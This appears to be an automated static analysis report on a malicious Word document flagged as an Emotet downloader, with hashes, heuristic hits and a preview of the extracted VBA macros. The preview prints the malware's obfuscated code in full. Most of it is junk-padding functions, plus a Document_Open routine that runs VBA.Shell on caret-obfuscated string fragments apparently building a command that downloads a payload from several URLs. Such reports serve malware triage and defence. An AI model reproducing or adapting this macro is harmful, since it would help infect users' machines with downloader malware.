Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2d258e2dc2e72f6a…

MALICIOUS

Office (OLE)

167.1 KB Created: 2018-07-23 20:18:00 Authoring application: Microsoft Office Word First seen: 2020-05-14
MD5: cc03316fa5d382a888adb88f3060055c SHA-1: cede281b50360dcb1fb273fa11af9e5048b9147c SHA-256: 2d258e2dc2e72f6ab6a19256642665f7abc2befdcca18bab0f7afc68ee6e55f5
152 Risk Score

Heuristics 6

  • ClamAV: Doc.Downloader.Emotet-6877415-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6877415-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    VBA.Shell "" + toJoEbEEq + OwKjVBzwPZ + CVar("C") + tTQjoQcNduAd + zTwGjRjLiI + bqEIBs + pTwKXDRvWNi + POwmCs + QrLwoPW + iNWCvdnvj + KaMiozWShsz + CwUwhQBEj + qGChoHbz, 0
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 34939 bytes
SHA-256: 6a4b9ecbda03ee3194920923ab8f4f1c2529ae614234427affa23c3155fe0d94
Detection
ClamAV: No threats found
Obfuscation or payload: likely
699 of 1039 identifiers look randomly generated (e.g. 'BMjKlEOkqYVoDI') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "aYGpPNl"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function ojPGTtjaHCRQkL()
On Error Resume Next
   If dpKHq Xor OUAipc Then
      vhfiG = (73007 - IfJjX * 1860 + dbBskz - (37544 / tpdjM))
      ElseIf ctowtQ Or 76698 Then
      If SGPEPO And jajpEk Then
         wqEdCi = Hex(pFXZoj)
      End If
      Umdktl = CDbl(17914 - 88678)
   End If
   If YnmvD Xor SCVVsE Then
      lDAJsj = (41213 - izWrd * 16469 + apiBW - (60770 / dCSuq))
      ElseIf QINmQf Or 36781 Then
      If kIGYjV And nQEaqO Then
         jrriAk = Hex(wrztX)
      End If
      Wmjawp = CDbl(43881 - 82240)
   End If
   If rlzTrL Xor FmdVrB Then
      jIhiw = (89216 - Eapqh * 76360 + hVoIsL - (10842 / dwCdj))
      ElseIf UpXrZ Or 72517 Then
      If JiBMp And nLHdJ Then
         DYQpN = Hex(pQTiif)
      End If
      LEjkS = CDbl(98130 - 15791)
   End If
   If jEPMOt Xor Hsjuzs Then
      OFDcB = (85772 - aiMLoG * 9662 + zjEOY - (88630 / SbaLdS))
      ElseIf wrWuNV Or 75352 Then
      If jsjAIV And Banpv Then
         ApiUVQ = Hex(cBqPNi)
      End If
      VousjY = CDbl(35767 - 5995)
   End If
   If XlbPaA Xor nWEwB Then
      arEzEi = (4314 - nijhM * 62320 + FWZzcD - (93121 / pXBBRb))
      ElseIf ZqTAUA Or 58384 Then
      If NYKKk And siOTd Then
         zizYkd = Hex(PcCck)
      End If
      wEtOLM = CDbl(89448 - 53082)
   End If
   If YSsMd Xor pnhntr Then
      ruQqsO = (92318 - vZSnC * 97168 + CHjGB - (35664 / GrRdSn))
      ElseIf vwwFJ Or 4480 Then
      If uVBMC And ctaZb Then
         UkaEnp = Hex(QoZZOw)
      End If
      wAcTh = CDbl(85864 - 92695)
   End If
End Function
Private Function WvnkAZYaw()
On Error Resume Next
   If ZPokv Xor HzHXw Then
      iiLqF = (32551 - iWLbF * 46459 + nARwj - (44234 / EpCiqR))
      ElseIf LcdLi Or 75412 Then
      If AYmYNO And wOniMc Then
         GhIoZU = Hex(tJMPz)
      End If
      WuhPX = CDbl(71047 - 52231)
   End If
   If LDwho Xor dZnlr Then
      nwQKVU = (38422 - bWjNmL * 15326 + PQWZZL - (68552 / rtjlzZ))
      ElseIf wdJhd Or 90536 Then
      If zwKka And WkucNC Then
         XPRSb = Hex(dSbki)
      End If
      CVikdi = CDbl(58444 - 61389)
   End If
   If wEmww Xor JrSLW Then
      uKtzMJ = (31034 - WRSLPK * 9672 + dXUjW - (41290 / QAXZv))
      ElseIf BrHAwt Or 51393 Then
      If aMQio And hmajnD Then
         OuqpbY = Hex(dwpjU)
      End If
      UZLLS = CDbl(33452 - 58279)
   End If
   If faVIOH Xor OviolF Then
      VXJSRH = (28994 - JNKKC * 62267 + LbBoi - (3659 / SQGSRu))
      ElseIf lKTRz Or 23839 Then
      If OSJjMG And IwDFv Then
         jCnwas = Hex(FsMzpU)
      End If
      YCqsC = CDbl(38435 - 60532)
   End If
   If sIRvR Xor SCMWE Then
      iXWrGZ = (75653 - GJqsw * 86585 + HKCbK - (74561 / uoIzWu))
      ElseIf JnTPap Or 59556 Then
      If Bwusa And iRZzY Then
         KrKvt = Hex(qciiJC)
      End If
      vwWXdY = CDbl(7266 - 50393)
   End If
   If GjSLp Xor Wjzwp Then
      RdXWf = (98481 - lTmrz * 60051 + MuvZU - (59363 / iDPaj))
      ElseIf QMzJE Or 4900 Then
      If ftzHtE And CpUoT Then
         jAcnad = Hex(tiZIv)
      End If
      wlYTcm = CDbl(94587 - 99310)
   End If
End Function
Private Function ioAGjIJFztiL()
On Error Resume Next
   If frLci Xor jvlEYM Then
      cTNtAX = (58786 - wqMjp * 32196 + oRaNFp - (65594 / XKjWw))
      ElseIf wNMUEm Or 16800 Then
      If jJirBh And zwtYk Then
         UdLHJ = Hex(IqiQBi)
      End If
      AcALki = CDbl(80840 - 79913)
   End If
   If VjJkZ Xor EMBHl Then
      Csdujp = (48424 - GYVQF * 97318 + JbljX - (28457 / JqcUKu))
      ElseIf onoMqW Or 92336 Then
      If SjJAiI And Ntfbzu Then
         PbNOCi = Hex(SMfikR)
      End If
      hDOcLd = CDbl(18539 - 3845)
   End If
   If hFEwOj Xor aIOjF Then
      CsifK = (77927 - NtCZA * 249 + iAWJw - (5951 / BDmiq))
      ElseIf XDjmZ Or 52612 Then
      If HMRNY And vToCf Then
         OOiZlF = Hex(CkBovz)
      End If
      YoKMQ = CDbl(99032 - 48966)
   End If
   If LoZtOC Xor qEwIG Then
      EnlPDD = (96496 - sbKHfV * 6457 + oYYYm - (12535 / PMHITs))
      ElseIf ZpUJw Or 98083 Then
      If vOGBrT And OmihU Then
         QakiK = Hex(pWDwuf)
      End If
      YCVmWY = CDbl(8373 - 78511)
   End If
   If woFvC Xor iiENPv Then
      YiVkEL = (54641 - oGTYM * 85597 + sXozdo - (67628 / zZNcDp))
      ElseIf iNXZbV Or 48979 Then
      If pVRAJ And lWplwq Then
         YQSmpF = Hex(LqjYY)
      End If
      bGBmRK = CDbl(35666 - 17708)
   End If
   If jNoAJ Xor OqwLb Then
      kBMvsA = (16088 - scJOj * 46860 + kIuuRm - (22763 / uUtwST))
      ElseIf DWLWsw Or 97097 Then
      If mqhfYG And ZTlYd Then
         DRJrYZ = Hex(awBqi)
      End If
      ZmCKj = CDbl(155 - 73618)
   End If
   If EkGnV Xor uZNtpt Then
      FBiTZf = (27865 - orzGjR * 44342 + FYrOv - (24639 / klEcf))
      ElseIf nwsZa Or 62475 Then
      If fMaGE And PtJho Then
         XQHUz = Hex(DscuhV)
      End If
      iOAuE = CDbl(62953 - 12835)
   End If
   If dswlJ Xor zfbDPE Then
      Ifcuu = (43677 - ZliFCW * 10254 + zEAim - (4237 / PWMVbv))
      ElseIf SiFzbG Or 40258 Then
      If Kmjzw And NsinWi Then
         XDhRFV = Hex(GhYvr)
      End If
      SAzDvz = CDbl(87945 - 64219)
   End If
End Function
Private Sub Document_open()
On Error Resume Next
   If HijAj < XHilX Then
   End If
   If nIwlt < QZrFT Then
   End If
   If VDTZZo < EQUnv Then
   End If
VBA.Shell "" + toJoEbEEq + OwKjVBzwPZ + CVar("C") + tTQjoQcNduAd + zTwGjRjLiI + bqEIBs + pTwKXDRvWNi + POwmCs + QrLwoPW + iNWCvdnvj + KaMiozWShsz + CwUwhQBEj + qGChoHbz, 0
   If tDULI < EcfBr Then
   End If
   If dPKMY < UwnZQ Then
   End If
   If BifjU < toJsz Then
   End If
End Sub
Private Function wcBwRuD()
On Error Resume Next
   If uXfmb < BRqsoE Then
   End If
   If ivCZa < GiENtN Then
   End If
   If zhaCOU < LbwYX Then
   End If
   If UDBCD < DFIil Then
   End If
   If awELcQ < kRqSO Then
   End If
End Function
Private Function QkjzSIQDT()
On Error Resume Next
   If kOwCu < okzao Then
   End If
   If rkJIMW < UhQNp Then
   End If
   If hLpOz < VinBG Then
   End If
   If bIwIBD < kjizda Then
   End If
   If mnCQkP < Lkuzw Then
   End If
End Function
Private Function QsRlnkUpwMnACq()
On Error Resume Next
   If YfriB < zcnJDR Then
   End If
   If mWTjJS < NqjcCo Then
   End If
   If HJjkq < sdLOK Then
   End If
   If OTDON < zTjJG Then
   End If
   If OifCol < sddDjw Then
   End If
   If Konji < kzqoH Then
   End If
   If ihoNj < HdvuNj Then
   End If
   If PhiqCX < vizIi Then
   End If
End Function


Attribute VB_Name = "iKPrKqZbhXJbLp"
Private Function krSHTRIQEOjLMo()
On Error Resume Next
   If TuMTuW <= wMcLZa Then
      If ztVEvr >= AKwjn Then
         maBzp = JowpRf
      End If
      For EuvhM = 5 To ljKjA
         saZTj = (kGNqX / iWcRA - EEYmnW - 9570 * 54658 * KCZbrA / wVjVPZ / YvOWkC + vUiLiw * 66952 + (nCOHf + EoOfK))
      Next
      ElseIf ZHhfjf And zrZAU Then
      If tOhqP Or EGqih Then
         HtHUH = qZNRom
      End If
      For czZjP = CthmK To 9123
         zwTGi = 301963753
      Next
   End If
   If zttKcn <= SILnp Then
      If ztnGcU >= CzsjGk Then
         EKFNS = YSKCrM
      End If
      For jZqPE = 5 To nRsKQb
         ppBAK = (rmCIC / VuOjjk - QPEdH - 56357 * 59708 * ziMzo / wFiQKs / USjQnR + DYkJZB * 21884 + (kLuWf + uEqIOL))
      Next
      ElseIf pfQYs And wwYMTL Then
      If FYzDam Or qUWWnM Then
         ZOqIZG = NsUkh
      End If
      For PKMwaL = qVGmib To 9123
         iVJtkf = 301963753
      Next
   End If
   If AYbmP <= jZJvLc Then
      If vnnNfX >= TfNZGz Then
         JBXTfi = mfAMJ
      End If
      For fpswW = 5 To kbKLF
         KHEVKB = (ShaYlb / tKIImA - UvimP - 6707 * 92571 * VzpSs / aKRUw / qVFRGW + RZSBZE * 8994 + (Maiuwj + MbiTi))
      Next
      ElseIf SArnn And fwqNf Then
      If NfnCzQ Or oiOki Then
         AwlJdi = ofwZbN
      End If
      For lZsWMD = lERJd To 9123
         FujEP = 301963753
      Next
   End If
   If Xiicq <= iPqIIb Then
      If zmizf >= TupzOj Then
         LURGOv = fwKsL
      End If
      For WOXZEz = 5 To GEoDE
         CCMif = (vrjNz / uNNbAb - lvaFXP - 91024 * 29310 * sGfOC / sKTNf / PsnAZ + JmLfDN * 32688 + (EbzoS + Eozcij))
      Next
      ElseIf jUDInv And VDnEz Then
      If ldvMCR Or jIQNiu Then
         UbsKRq = dRIXQ
      End If
      For DwBos = swbsmZ To 9123
         lzXDq = 301963753
      Next
   End If
   If nBTrm <= iCEFU Then
      If XAviM >= mOKnbd Then
         GNFji = rmbiI
      End If
      For rLKMQC = 5 To zwsDT
         wNBDIA = (pZjMZ / WDcXw - nAUnb - 3645 * 87720 * NfTNJl / joqiTd / rSfwnu + KVawhj * 94807 + (ZaBOQL + GSCnm))
      Next
      ElseIf OmocsE And CHdOw Then
      If DKsQb Or lGPQh Then
         NWjMN = zIuvjm
      End If
      For pbnaR = mPNHAN To 9123
         bhBjz = 301963753
      Next
   End If
   If hhEuF <= rjcTsM Then
      If jIXvc >= AEIEZz Then
         bsjbz = qtciu
      End If
      For FwzpdT = 5 To OZCMlz
         BiRZd = (wkKzwB / qWSDd - PWjBPi - 70396 * 69331 * wYfwdr / HbDBP / Vlzscz + sGzjHi * 72121 + (hCusu + nlTwY))
      Next
      ElseIf qOrzbO And BuCWCk Then
      If ppZwqv Or iaYJI Then
         Uhzju = XIiPz
      End If
      For tBkaf = sIKYwM To 9123
         IdWLo = 301963753
      Next
   End If
End Function
Private Function ZSqzCdjWv()
On Error Resume Next
   If Cjcso <= qUojXi Then
      If jfYiDM >= AvnuZ Then
         TzTson = zUHOFf
      End If
      For mskzD = 5 To nNfJYj
         PWGsh = (oHsBv / jkqPYK - YFhIKn - 83885 * 58885 * GSKTF / ibNPhm / zuqpFT + zwHzw * 20473 + (iNvFp + bBZqbo))
      Next
      ElseIf FOBIc And hFnSVh Then
      If TOHLK Or uiwOR Then
         rwPwU = NRTEi
      End If
      For wWFcuu = aXRUMt To 9123
         fDtSJ = 301963753
      Next
   End If
   If jiDuHO <= zQvDhN Then
      If tCIkm >= UdiAKd Then
         dlGofR = PnwMr
      End If
      For kGjil = 5 To XsHvMn
         PIDAD = (iRPOJH / QwuGF - tVrNuD - 29938 * 67226 * FVqtA / CIMmt / MzUsZX + LawBp * 33829 + (qXvIzn + YMuYP))
      Next
      ElseIf DOohT And SjWWV Then
      If fBXfH Or BcFdi Then
         DpFbo = aUJQKw
      End If
      For QhczNT = aoRld To 9123
         FaWnBZ = 301963753
      Next
   End If
   If ULHLZ <= SVznl Then
      If GzzuaP >= IoXAL Then
         NTjOT = qAnOE
      End If
      For zoZXhO = 5 To XbSXKS
         QbLcw = (vrLFj / iluoS - sHdbll - 12521 * 17494 * orvwY / wlPoLS / qFcTnb + scnznR * 21478 + (oqaVnp + AQJLJ))
      Next
      ElseIf zfzHSA And YwRzf Then
      If dLEvI Or lDwZO Then
         iDjFMK = RDtzos
      End If
      For RvUpY = qOLwwU To 9123
         FYdCG = 301963753
      Next
   End If
   If diHqsj <= BLPrbt Then
      If mZcrKd >= PXTwuh Then
         zVOkM = mDUIV
      End If
      For EZdBtB = 5 To OnzLK
         GoOGn = (zBvDpB / PiEiE - VaYNm - 43234 * 50536 * uTMzKD / FVYzh / YiJVn + mmRKFt * 82627 + (piabjN + CiiEiz))
      Next
      ElseIf KMjkWD And rPszWo Then
      If cIHGT Or fXuwN Then
         WVzaR = BzcFi
      End If
      For WnqzT = cMZjaZ To 9123
         zLiGnR = 301963753
      Next
   End If
   If IhlYR <= NlAINT Then
      If OiMRkT >= OiLNiS Then
         ufZhB = PzTOBD
      End If
      For ciWooU = 5 To oAJDa
         JLaWYp = (ITGabM / NROzQ - TFkLWY - 27208 * 24931 * uWVGLo / WzqLD / JXvMcw + WlLntW * 8716 + (OzzbmX + kFVAh))
      Next
      ElseIf uRHEd And vMQJwP Then
      If OIKiN Or jdIzrk Then
         Uknqr = RicUEj
      End If
      For uINwp = MRIQZ To 9123
         IMzjl = 301963753
      Next
   End If
   If ipAwJ <= GZHrz Then
      If jMHtbW >= CqaRpn Then
         NJzwqb = zOOiJ
      End If
      For njlRW = 5 To dHnukF
         VYYHXK = (NszbJ / Wkmzt - SJnWF - 17890 * 90729 * KpZON / qGjYHr / zzvjJ + VFsUq * 3132 + (nqhCS + bwzXSi))
      Next
      ElseIf QKPDO And BvSJrm Then
      If AZIRUj Or sFAYi Then
         IPWAc = AvrLpo
      End If
      For AAaVj = PWzCoi To 9123
         iVVKJ = 301963753
      Next
   End If
   If nwhTl <= VNVkN Then
      If Cnoqi >= AlzPr Then
         IrJWtZ = rDchUN
      End If
      For ERHct = 5 To ijSMQh
         vFzQYF = (KuzzUw / WMaGTc - CjiXVQ - 7271 * 54634 * zFLdu / ELIPTq / UIIzh + UsGzF * 26081 + (WUtCpq + UAtISz))
      Next
      ElseIf HPzDJr And OWOYir Then
      If jqIGQ Or PjRGa Then
         IpUOzf = bMdIuw
      End If
      For zHwfi = zaoJl To 9123
         BzVYz = 301963753
      Next
   End If
End Function
Private Function wzCQYqz()
On Error Resume Next
   If SYduo <= FdqSd Then
      If zWXuQ >= AZiOH Then
         wDbEcL = iDTiSf
      End If
      For fIQICF = 5 To FqfYP
         SXnbE = (ivlvB / fTvwd - FOYnsJ - 43782 * 22862 * stMwf / vjKPs / AzvuMO + XmHGN * 75180 + (Aqifi + sQqCY))
      Next
      ElseIf Vnjnkj And RERcsj Then
      If PoPkmz Or MMFBf Then
         nikHtW = tTowW
      End If
      For cVOiO = zjpDBF To 9123
         ZpJbd = 301963753
      Next
   End If
   If crWpII Or iqPkLW Then
      ozbtzu = 313875495 / 284677201
      Else
      Set UpwWt = ocHqt
      BPLqD = 429588381 * 533962432
   End If
   If zzjUJ <= WSBvAQ Then
      If OWnzd >= PfBwii Then
         dwXjs = MRZfm
      End If
      For ZiPjit = 5 To krBCB
         zmWZw = (ElHFZv / DqDwo - BDEMzz - 36525 * 9497 * zLctVX / Xqrdjh / RZplR + MhuMLA * 17277 + (aXZdtc + wcjZtI))
      Next
      ElseIf NELLT And nnJOBO Then
      If QQQiV Or CwTRA Then
         FVUwJL = htUpB
      End If
      For jOFnNL = fNXfMz To 9123
         iGWtm = 301963753
      Next
   End If
   If Uwusi Or pnTwdk Then
      TzkVj = 313875495 / 284677201
      Else
      Set CMtFuz = OApzD
      wcLGr = 429588381 * 533962432
   End If
   If doCjX Or KhTLZ Then
      KiFmn = 313875495 / 284677201
      Else
      Set jFmHIL = KJFmVn
      MVhCW = 429588381 * 533962432
   End If
   If MpYlFl <= kIikNr Then
      If YIBYT >= uwGjY Then
         FUQcHX = NhQwEt
      End If
      For MijzWc = 5 To kdHKR
         irQjoM = (jMTfX / RdnHL - fjBQPI - 24641 * 91626 * UqJRpn / WQhHs / DAKAaJ + XwWvN * 74277 + (hbAab + YLWKO))
      Next
      ElseIf ZEHWZE And AjBFP Then
      If DkRXUO Or CnjuQ Then
         fbFrd = mrkGP
      End If
      For zqJmUf = lsYjH To 9123
         CwKflY = 301963753
      Next
   End If
End Function
Function bqEIBs()
On Error Resume Next
WhYEI = CStr(Chr(LdTtlivX + zVStAdwwZNFcz + 109 + kNXhTWjqwjR + wNrGBFHj)) + "d ZFspqlzL" + " BLbiBid" + "WQwNLYFkATwF" + CStr(Chr(qQXoSbCidv + RYqPUNi + 99 + jzkCMWwb + wKnjQviRO)) + "CBi XTHCIk" + "u  &  %" + CStr(Chr(nivvvTQ + tCEPHQmlFFDH + 99 + UqirZTlwPcJ + pGRCipHWu)) + "o^" + CStr(Chr(YAIwLJqtCD + RbrRAzm + 109 + LwzfoCVR + akHSYLok)) + "^S^p" + "^E^" + CStr(Chr(QsOPBzarYHYH + MCLRXGUbZ + 99 + VKISGLN + qTkidocitVkSG)) + "%  /" + CStr(Chr(WzXMARo + OjpRYRwKcn + 99 + RdniiqiEKiOUDv + AfYCAQTzwKFbY)) + " ^C^" + CStr(Chr(SPMFWjiWbFOJj + OdLIJzPYtB + 109 + kUkHjksvEqqkD + zwlGmjcv)) + "^D;;; ; ^/v"
If DqqNh < jCpjq Then
   End If
   If LEsLId Xor jwWIz Then
   End If
   If EzMWRD Xor tdnJS Then
   End If
FPJKvi = ": ^  ;;;/^" + CStr(Chr(PPsDqSDMu + rwiZoVR + 99 + aFnoScHuXJHY + QVAsNYmYJcHFz)) + "  " + CStr(Chr(wKLXqpKcDkOK + kmdjHRDocDzzC + 34 + hMiDNYzv + BFswHzNdj)) + " ;; ;  (^s^" + "e^t ^ o^C=Ci" + "^w HZo F^" + "wD uhr ^OJg f^"
If HHaaaa Xor aNmSm Then
   End If
   If UhPoc Xor EcMZsl Then
   End If
TjOzULuQw = "r^l^ UD^" + "1^ ^H^Wp^ l^" + "t^Q ^M4" + "Y ^e ^g ai" + "R^ ^b0^U K^J" + "1 XO^E o^k" + "^a^ ^w^a^W^ " + "j^" + CStr(Chr(dWpmdKhHXqnPR + jHvQlqbSGM + 99 + UEmVSWUDqpRjN + daNqbajPGhSnz)) + "i}adN}" + "^h^8^6{5BThBE" + "q" + CStr(Chr(iZSTMDl + szShupMCTC + 99 + tWjRlpfoAjUBn + QuEksFszdHCUQ)) + "iak^t1^Zoa" + "^D^6^k^" + CStr(Chr(TwELpDjBb + jUJcRuo + 99 + IORFmAZGKiUPSk + wbQohsdWmZ)) + "vtT}k^" + "X^U^;^yTHk^4"
If kwQjoJ <= tdqwm Then
      For uAhoJh = 114 To LvIso
         FwsVM = (hdcbbE - 55474 / 33256 - INUvEL - 38352 / piHNBn - (78260 - YsaDHB))
      Next
      For iSFBS = 92022025 To GjjQX
         hnzkC = RDrFSj / olDMCN * (83052 / GpczK * Hiuaz / lGCaHY)
      Next
      Else
   End If
   If CqKtr Xor OiXSQv Then
   End If
LBORoDFEt = "I2aWFu^e^y" + "Y^O^rf^" + "q^Wb5x^T;p9TUL^" + "0^UM^YU" + "1k^5g^ ^$" + "^gBZ Lav^"
bqEIBs = WhYEI + FPJKvi + TjOzULuQw + LBORoDFEt
   If PZAYLd = DWiDfu Then
      wVksjJ = wiUCE * 64042908
      Else
      icEivB = CSng(3)
   End If
End Function
Function pTwKXDRvWNi()
On Error Resume Next
FBVdnKuGc = "sS^Eus^O" + "E^A^e^FT0" + CStr(Chr(ApHjTZHEiwZoi + stqOkuEUSXIOP + 99 + TMclFUanvsdKtw + KEBkcwLotwU)) + "^" + "j^CAoupCr^ei^t" + "^PizC-^ ^Y" + "^RthZ^ard^a^w" + "^aW" + CStr(Chr(KLrTjfMM + WRFuVGjKWQ + 109 + JNASXBorIAlflh + KTpPRhiSWBphK)) + "R^tK0" + CStr(Chr(YMLCiSQHKXBOWf + oVszCbfj + 99 + hvVMHhWBNSZi + tLisQSHmws)) + "S" + "G n^;^8^M" + "4^)g^Pn^" + "U^g^TfMLw^yk" + "UQ^b$^tb^i ^6r"
If bazXT Xor Xwuwqi Then
      Set FXfij = TufWGw
      ElseIf aRAHi Or lhtKtL Then
      oYhaEN = 4731 + XhwNUf + VwEsb - FGwmT - tWLMm - qpuNE
   End If
   If uaCjBu <= 9 Then
   End If
sGfpSrVqvCJ = "^R,^Cz6o^60vr1" + "^C^J^L^Wbr" + "^$p6^y^(^xE" + "we2^ 1^" + "lZt^Ki^x" + "k^b^FM^FWdWM" + "4^aF^Y^V" + "o^a^1^s" + "^l^R^rSn^s" + "jZw^fM^So^Vy^O" + "^DhvY. d^" + "Gr^Kt6SS7H"
DrFCESbjjBk = "^M^r^0v$8^J^B{^" + "wO^7^y^P^C" + "^F^rNDetJM^b{iv" + "1^)^h3EF^rl^7^Z" + "pG^A^SWM^w" + "^$2On 3^YznFR^7" + "^ir2" + CStr(Chr(Rnwzjfau + mwPUsVSHiJ + 109 + FqwnQJbvzc + PiFQmuEMoYZfcw)) + "^ " + "^j^e^" + CStr(Chr(UoJswwhFAtOR + WJoTEJPCVoECf + 99 + RKUjoaKSS + BAPsfntwC)) + "o4sv^r^Z" + "^rnL1^2^Q$jou^" + "(^bDnh^A^ur" + CStr(Chr(IrQXRTVnuTAnj + iiOLqVUnIPmcIR + 99 + iCZCdSRIqzf + BMjKlEOkqYVoDI))
If LzGAk <= 9 Then
   End If
   If SlnkIJ <= 9 Then
   End If
vMUQJJYoqX = "9^B^uaj6" + "^X^eY^5xr3^" + "q^5^odi^Ef" + "^L^O^6;^sZ9'eu" + "O^e0^r^" + "7xwE^Je ^Hz.1" + "^2^E'Q^gH^+2^" + CStr(Chr(qMVlmVlJjRP + UtqPqGC + 99 + XNuwndENZ + iAlJSLfb)) + "r" + "^t^Hq^I^jVY^"
pTwKXDRvWNi = FBVdnKuGc + sGfpSrVqvCJ + DrFCESbjjBk + vMUQJJYoqX
   If Mqipd <= 9 Then
   End If
End Function
Function POwmCs()
On Error Resume Next
CBaqv = "F^i^M9^s" + "$eK^6^+u^b^" + "e^'O^0Z^\BT^J^" + "'Nbk^+y^Jlp^t^" + "r8^" + CStr(Chr(TpBiWfiYNBF + oIrqiHFSrE + 109 + UIjwibbknEX + RwZpMJEFa)) + "^H^3^P^" + "epY^G^t^Y" + "f^s:^2^" + CStr(Chr(bUzTRMc + DBWwbiadnlkkwZ + 99 + fdivzVtL + KiITbbmvOP)) + " ^vfIJnt6e^e^" + "d^f^2$5l^X^" + "=8^WDU^ED^S^M" + CStr(Chr(NijaSpMQcvf + jzpzhHLTFXwV + 99 + IwDKBhEP + ZDEzNtOw))
If AhmCWv <= 9 Then
   End If
   If ziLOG <= 9 Then
   End If
   If NGbbRh <= 9 Then
   End If
iFsmjvjh = "3^xk" + CStr(Chr(sdwwjHQHHGnF + DSZkichTwiX + 99 + LFMIzXm + BFitQwHsYUE)) + "^9^ $0t^T" + ";^WFn'e^ V0^J7" + "H2^0B^6^3^L^" + "bB'7^e^0^ l" + "FB=^H^h" + " ^ HKPt^o^t4j" + "MhI^i^g^kC^"
If qOpDj <= 9 Then
   End If
aPAhqpDfz = "$8^A^F;IF^u" + "^)C^fW'LTN" + "^@C^o^4'^WKD^" + "(92^7tb" + "ZS^iD68l^" + "JYX^pY3" + "^LSnLh.GI^k'w" + "^ 70xsFCA^T^y^U" + "^Ahr/^8" + CStr(Chr(vTiTVAYfSaCEFB + phMLYQUGkMkMFF + 99 + cPKsidCluz + boLvMujmsOX)) + "ZrR^J^tb^" + "U^" + CStr(Chr(XjIQMaMXcbqrCT + aRZhpivBpzK + 109 + jOrfsGutV + WHzMUDKbXH)) + "V.^2^uZt^4^x"
If GUADp <= 9 Then
   End If
   If qucIiw <= 9 Then
   End If
   If aEQiB <= 9 Then
   End If
oRhsL = "^8ePFon^eyx.k" + "zA^v^p^Ja" + "^e6^O^hrIPj^" + "py^Zr^i^G^x" + "L^s^b^HI" + "/Sd^O/^UY^K:W" + "KIp^JnktP^HJ^" + "t^t^jo^hO^j^Q" + "^@a^Z^w^0zfQ"
If QwUMH <= 9 Then
   End If
qPQMST = "^eoTN^/^" + "M" + CStr(Chr(wzKtnHbMPqGvNw + MQmFkAKh + 109 + jlpjwJOStiiN + tVIfBDzVrAOH)) + "0^a^9JCuD^RG." + "B^8a" + CStr(Chr(MzmcNEbp + szjvFdawJAL + 109 + fjbjKuoUrnBFw + zCKDwcn)) + "jl^Mot^" + "zy^" + CStr(Chr(EQOZPzVBzE + mVQvhLBJfpJjUw + 99 + HPPrcEiufPFtS + rpJNhuIR)) + "DwG.r^xn^" + "ed^WA^l Q^Ey" + "^GB^f^t^L^3" + "G^sj^AN^o" + "sX^C^vn^79eqb^p" + "rr^HI^dd" + CStr(Chr(urPGhEQrftho + hqVQSGHqi + 109 + rLlZvzwzF + PowKoBnG)) + "^v^.fv" + "9^wNSQw" + "^AB^C^w6R^C/r"
If jtJHll <= 9 Then
   End If
   If bflWF <= 9 Then
   End If
DVzCE = "^b^k/^7^kb" + "^:^3o^LpFt^D" + "t^e^ott^3" + "^alhL^oJ^@^" + "XY^FWw^Zs" + "^/v8^0y^" + "KvX" + CStr(Chr(ZqfqYsw + DNhnptfSjuj + 109 + kVbhRIRF + GQRUFiWHAo)) + "sV^L^.S" + "Uhg^o^K^Crxi^b" + "^oz6H^.27" + CStr(Chr(zhAIQJjDMqM + KPraqtY + 109 + bXYZZjMmjBjGV + JsIWzKPECOvS))
TkBrn = "^o^a^2C" + "eMxv" + CStr(Chr(JuCdKGdkrjzq + KjzoWKRw + 99 + AiLTVKi + FZGhcLmDZAZW)) + "RM^z.^" + CStr(Chr(ItWPGwVPLJAc + JOjEiJUiEwWdjH + 99 + MfrtDazuYULqNw + frtKTUozQZoXtd)) + "4^" + "T^wf^Qj^w" + "3^q^Iwn" + "^7^6/ai^" + "K^/7^S^"
CDUzCXn = "P:^H^AKp" + "l^TA^t^TJ" + "^" + CStr(Chr(XOzUlmrjO + NziUHRWzrNh + 99 + rrcdlcBuIzSzz + szJvhoaCm)) + "t^sq^P^h" + "s^CO@KViTXnF" + "td^GJ1t3H^C^MY" + "xL^0t^" + CStr(Chr(FWfVAqkFdtJO + llFAMVIFHErD + 109 + DQpqYDWiPmwbOt + jlLIvDVBaj)) + "x^O^ ^" + CStr(Chr(PadzEoC + TquQHVS + 109 + GOWlVGsdAAvn + dVOoJwXZqVSQu))
POwmCs = CBaqv + iFsmjvjh + aPAhqpDfz + oRhsL + qPQMST + DVzCE + TkBrn + CDUzCXn
   If szPwP <= 9 Then
   End If
   If VjQkHV <= 9 Then
   End If
End Function
Function QrLwoPW()
On Error Resume Next
If FzZknq Xor oWsHWu Then
      For zopzT = 7579 To 186640408
         qrMBJ = bVBaCH / BRFCVj + WabWa - acQvS - 45869 + 480 * 63505 - NmXbzO
      Next
   End If
